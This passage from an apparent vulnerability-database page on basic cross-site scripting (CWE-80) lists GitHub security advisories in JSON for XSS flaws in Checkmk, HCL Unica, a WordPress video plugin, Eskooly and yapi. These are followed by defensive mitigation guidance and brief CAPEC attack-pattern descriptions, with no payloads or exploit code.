      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform vulnerable to stored cross-site scripting in ClassEditSheet page via name parameters"
}

GHSA-4WV7-JG5W-QPFH

Vulnerability from github – Published: 2024-06-25 12:30 – Updated: 2024-06-25 12:30
VLAI
Details

Stored XSS in the Crash Report page in Checkmk before versions 2.3.0p7, 2.2.0p28, 2.1.0p45, and 2.0.0 (EOL) allows users with permission to change Global Settings to execute arbitrary scripts by injecting HTML elements into the Crash Report URL in the Global Settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-28832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-25T12:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Stored XSS in the Crash Report page in Checkmk before versions 2.3.0p7, 2.2.0p28, 2.1.0p45, and 2.0.0 (EOL) allows users with permission to change Global Settings to execute arbitrary scripts by injecting HTML elements into the Crash Report URL in the Global Settings.",
  "id": "GHSA-4wv7-jg5w-qpfh",
  "modified": "2024-06-25T12:30:58Z",
  "published": "2024-06-25T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28832"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/17024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-544M-GJWC-8JGH

Vulnerability from github – Published: 2025-10-12 06:30 – Updated: 2025-10-12 06:30
VLAI
Details

HCL Unica MaxAI Assistant is susceptible to a HTML injection vulnerability. An attacker could insert special characters that are processed client-side in the context of the user's session.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T06:15:47Z",
    "severity": "MODERATE"
  },
  "details": "HCL Unica MaxAI Assistant is susceptible to a HTML injection vulnerability.  An attacker could insert special characters that are processed client-side in the context of the user\u0027s session.",
  "id": "GHSA-544m-gjwc-8jgh",
  "modified": "2025-10-12T06:30:13Z",
  "published": "2025-10-12T06:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31992"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0124424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-54M9-C6RR-42RM

Vulnerability from github – Published: 2025-04-04 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Aviplugins Videos allows Reflected XSS.This issue affects Videos: from n/a through 1.0.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T14:15:22Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Aviplugins Videos allows Reflected XSS.This issue affects Videos: from n/a through 1.0.5.",
  "id": "GHSA-54m9-c6rr-42rm",
  "modified": "2026-04-28T21:35:34Z",
  "published": "2025-04-04T15:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31384"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/videos/vulnerability/wordpress-videos-plugin-1-0-5-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-54WV-C7PF-J4J8

Vulnerability from github – Published: 2024-07-05 18:34 – Updated: 2024-07-08 15:31
VLAI
Details

Cross Site Scripting vulnerability in Eskooly Web Product v.3.0 and before allows a remote attacker to execute arbitrary code via the message sending and user input fields.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-05T17:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Cross Site Scripting vulnerability in Eskooly Web Product v.3.0 and before allows a remote attacker to execute arbitrary code via the message sending and user input fields.",
  "id": "GHSA-54wv-c7pf-j4j8",
  "modified": "2024-07-08T15:31:55Z",
  "published": "2024-07-05T18:34:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27716"
    },
    {
      "type": "WEB",
      "url": "https://blog.be-hacktive.com/eskooly-cve/cve-2024-27716-cross-site-scripting-xss-in-eskooly-web-product-less-than-v3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5554-3CR8-7RWC

Vulnerability from github – Published: 2024-08-26 15:31 – Updated: 2024-12-03 18:31
VLAI
Details

XSS in the view page with the SLA column configured in Checkmk versions prior to 2.3.0p14, 2.2.0p33, 2.1.0p47 and 2.0.0 (EOL) allowed malicious users to execute arbitrary scripts by injecting HTML elements into the SLA column title. These scripts could be executed when the view page was cloned by other users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-26T15:15:08Z",
    "severity": "MODERATE"
  },
  "details": "XSS in the view page with the SLA column configured in Checkmk versions prior to 2.3.0p14, 2.2.0p33, 2.1.0p47 and 2.0.0 (EOL) allowed malicious users to execute arbitrary scripts by injecting HTML elements into the SLA column title. These scripts could be executed when the view page was cloned by other users.",
  "id": "GHSA-5554-3cr8-7rwc",
  "modified": "2024-12-03T18:31:01Z",
  "published": "2024-08-26T15:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38859"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/17026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5626-X6H5-MPM4

Vulnerability from github – Published: 2024-04-30 18:30 – Updated: 2024-07-03 18:37
VLAI
Details

A stored cross-site scripting (XSS) vulnerability in the Advanced Expectation - Response module of yapi v1.10.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the body field.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-30T18:15:19Z",
    "severity": "HIGH"
  },
  "details": "A stored cross-site scripting (XSS) vulnerability in the Advanced Expectation - Response module of yapi v1.10.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the body field.",
  "id": "GHSA-5626-x6h5-mpm4",
  "modified": "2024-07-03T18:37:46Z",
  "published": "2024-04-30T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YMFE/yapi/issues/2745"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CAPEC-18: XSS Targeting Non-Script Elements

This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack.

CAPEC-193: PHP Remote File Inclusion

In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.

CAPEC-32: XSS Through HTTP Query Strings

An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.

CAPEC-86: XSS Through HTTP Headers

An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.